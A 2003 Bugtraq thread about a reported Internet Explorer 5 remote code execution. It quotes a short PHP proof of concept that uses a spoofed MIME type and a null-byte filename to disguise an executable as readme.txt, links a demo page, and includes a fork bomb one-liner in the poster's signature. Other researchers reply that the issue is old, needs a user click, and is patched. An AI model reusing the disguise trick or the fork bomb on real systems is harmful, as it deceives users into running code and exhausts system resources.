IE remote code execution

[Marcin Ulikowski]

This code can execute any code remotely using IE - as you can see very simple.

// for IE 5, tested on default Windows 98SE installation
<?php
Header("Content-type: audio/midi");
Header("Content-Disposition: inline; filename=readme.txt%00code.exe");
readfile("code.exe");
?>
<noscript>

Here you have a demo:
http://r3b00t.tx.pl/iexec5.php

Can we expect more surprises like this one?

--
------------------------------
r3b00t ~ [http://r3b00t.tx.pl]
just do main(){for(;;)fork();}
------------------------------

[K-OTiK Security]

In-Reply-To: <Pine.LNX.4.44.0310190012380.170-100000@osiris>

Hi,

NO effect on :

Internet Explorer 6 SP1 (Windows XP)
Internet Explorer 6 For Windows 2003 Server

The user MUST accept to execute the file by clicking "YES", so it's not more dangerous than a direct link to an .exe file ...

Regards.

K-OTik Staff /// http://www.k-otik.com


>From: Marcin Ulikowski <r3b00t@tx.pl>
>Subject: IE remote code execution
>
>This code can execute any code remotely using IE - as you can see very simple.
>
>// for IE 5, tested on default Windows 98SE installation
><?php
>Header("Content-type: audio/midi");
>Header("Content-Disposition: inline; filename=readme.txt%00code.exe");
>readfile("code.exe");
>?>
><noscript>
>

[Jouko Pynnonen]

On Sun, Oct 19, 2003 at 12:15:39AM +0200, Marcin Ulikowski wrote:

> Header("Content-Disposition: inline; filename=readme.txt%00code.exe");


This is not new, I reported this in 2001:

http://msgs.securepoint.com/cgi-bin/get/bugtraq0201/132.html



--
Jouko Pynnönen http://iki.fi/jouko/
jouko@iki.fi

[Thor Larholm]

A default Windows 98SE installation is several years behind in patches.

This does not reproduce on any IE browser that has been patched the last
year or so.

If in doubt about your IE patch level apply the latest cumulative patch
MS03-040, which can be found at

http://www.microsoft.com/technet/security/bulletin/MS03-040.asp


Regards
Thor Larholm
PivX Solutions, LLC - Senior Security Researcher
http://pivx/com/larholm/ - Get our research, join our mailinglist

-----Original Message-----
From: Marcin Ulikowski [mailto:r3b00t@tx.pl]=20
Sent: Saturday, October 18, 2003 3:16 PM
To: bugtraq@securityfocus.com
Subject: IE remote code execution


This code can execute any code remotely using IE - as you can see very
simple.

// for IE 5, tested on default Windows 98SE installation
<?php
Header("Content-type: audio/midi");
Header("Content-Disposition: inline; filename=3Dreadme.txt%00code.exe");
readfile("code.exe"); ?> <noscript>

Here you have a demo:
http://r3b00t.tx.pl/iexec5.php

Can we expect more surprises like this one?

--
------------------------------
r3b00t ~ [http://r3b00t.tx.pl]
just do main(){for(;;)fork();}
------------------------------